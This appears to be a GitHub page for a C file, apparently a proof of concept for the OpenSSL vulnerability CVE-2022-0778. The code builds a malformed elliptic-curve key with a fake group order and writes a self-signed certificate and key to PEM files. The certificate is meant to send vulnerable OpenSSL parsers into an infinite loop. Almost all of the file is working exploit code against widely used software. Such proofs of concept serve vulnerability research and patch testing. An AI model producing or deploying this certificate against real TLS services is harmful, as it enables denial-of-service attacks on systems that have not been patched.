forked from drago-96/CVE-2022-0778
-
Notifications
You must be signed in to change notification settings - Fork 8
/
my_bad_cert.c
168 lines (145 loc) · 4.06 KB
/
my_bad_cert.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#include <stdio.h>
#include <stdlib.h>
#include <openssl/ec.h>
#include <openssl/bn.h>
#include <openssl/evp.h>
#include <openssl/x509.h>
#include <openssl/x509v3.h>
#include <openssl/asn1.h>
#include <openssl/pem.h>
#include <openssl/err.h>
int make_cert(X509 **pcert, EVP_PKEY **ppkey, int days)
{
int ret = 0;
X509 *cert = NULL;
X509 *cert_tmp = NULL;
EVP_PKEY *pkey = NULL;
EVP_PKEY *pkey_tmp = NULL;
EC_KEY *ec = NULL;
EC_GROUP *group = NULL;
EC_POINT *point = NULL;
BN_CTX *ctx = NULL;
BIGNUM *a = NULL;
BIGNUM *b = NULL;
BIGNUM *p = NULL;
BIGNUM *order = NULL;
BIGNUM *x = NULL;
BIGNUM *y = NULL;
ASN1_INTEGER *serial = NULL;
X509_NAME *name = NULL;
if (!pcert || !ppkey) {
return 0;
}
if (*pcert == NULL) {
cert = cert_tmp = X509_new();
if (!cert)
goto err;
}
else {
cert = *pcert;
}
if (*ppkey == NULL) {
pkey = pkey_tmp = EVP_PKEY_new();
if (!pkey)
goto err;
}
else {
pkey = *ppkey;
}
/* make key */
ctx = BN_CTX_new();
if (!ctx)
goto err;
BN_CTX_start(ctx);
p = BN_CTX_get(ctx);
a = BN_CTX_get(ctx);
b = BN_CTX_get(ctx);
order = BN_CTX_get(ctx);
x = BN_CTX_get(ctx);
y = BN_CTX_get(ctx);
if (!y)
goto err;
/* y^2 = x^3 + 1x + 694 */
/* Generator: (1, 132) */
if (!BN_set_word(p, 697)
|| !BN_set_word(a, 1)
|| !BN_set_word(b, 694)
|| !BN_set_word(order, 111) /* a fake order */
|| !BN_set_word(x, 1)
|| !BN_set_word(y, 132)) {
goto err;
}
if (!(group = EC_GROUP_new_curve_GFp(p, a, b, NULL))) {
goto err;
}
point = EC_POINT_new(group);
if (!EC_POINT_set_affine_coordinates_GFp(group, point, x, y, ctx)
|| !EC_GROUP_set_generator(group, point, order, NULL))
goto err;
// EC_GROUP_set_asn1_flag(group, OPENSSL_EC_EXPLICIT_CURVE);
EC_GROUP_set_asn1_flag(group, 0); /* not defined in 1.0.2 */
ec = EC_KEY_new();
/* private key = 1, publickey == generator */
if (!ec
|| !EC_KEY_set_group(ec, group)
|| !EC_KEY_set_private_key(ec, BN_value_one())
|| !EC_KEY_set_public_key(ec, point)
|| (EC_KEY_set_conv_form(ec, POINT_CONVERSION_COMPRESSED), 0)
|| !EVP_PKEY_assign_EC_KEY(pkey, ec)) {
goto err;
}
ec = NULL;
/* make cert */
if (!X509_set_version(cert, 0L)
|| !(name = X509_get_subject_name(cert))
|| !X509_NAME_add_entry_by_txt(name, "CN", MBSTRING_UTF8, "CVE-2022-0778-TEST", -1, -1, 0)
|| !X509_set_issuer_name(cert, name)
|| !(serial = s2i_ASN1_INTEGER(NULL, "1"))
|| !X509_set_serialNumber(cert, serial)
#if OPENSSL_VERSION_NUMBER < 0x10100000L
|| !X509_gmtime_adj(X509_get_notBefore(cert), 0)
|| !X509_time_adj_ex(X509_get_notAfter(cert), days, 0, NULL))
#else
|| !X509_gmtime_adj(X509_getm_notBefore(cert), 0)
|| !X509_time_adj_ex(X509_getm_notAfter(cert), days, 0, NULL))
#endif
goto err;
if (!X509_set_issuer_name(cert, X509_get_subject_name(cert)))
goto err;
if (!X509_set_pubkey(cert, pkey))
goto err;
/* self sign */
if (!X509_sign(cert, pkey, EVP_sha256()))
goto err;
*pcert = cert;
*ppkey = pkey;
ret = 1;
err:
BN_CTX_end(ctx);
BN_CTX_free(ctx);
EC_GROUP_free(group);
EC_POINT_free(point);
EC_KEY_free(ec);
ASN1_INTEGER_free(serial);
if (!ret) {
X509_free(cert_tmp);
EVP_PKEY_free(pkey_tmp);
}
return ret;
}
int main() {
BIO *bio_cert = NULL;
BIO *bio_pkey = NULL;
X509 *cert = NULL;
EVP_PKEY *pkey = NULL;
if (!make_cert(&cert, &pkey, 365)) {
printf("make_cert failed\n");
abort();
}
bio_cert = BIO_new_file("bad_cert.pem", "w");
bio_pkey = BIO_new_file("bad_key.pem", "w");
PEM_write_bio_X509(bio_cert, cert);
PEM_write_bio_PrivateKey(bio_pkey, pkey, NULL, NULL, 0, NULL, NULL);
EVP_PKEY_free(pkey);
X509_free(cert);
}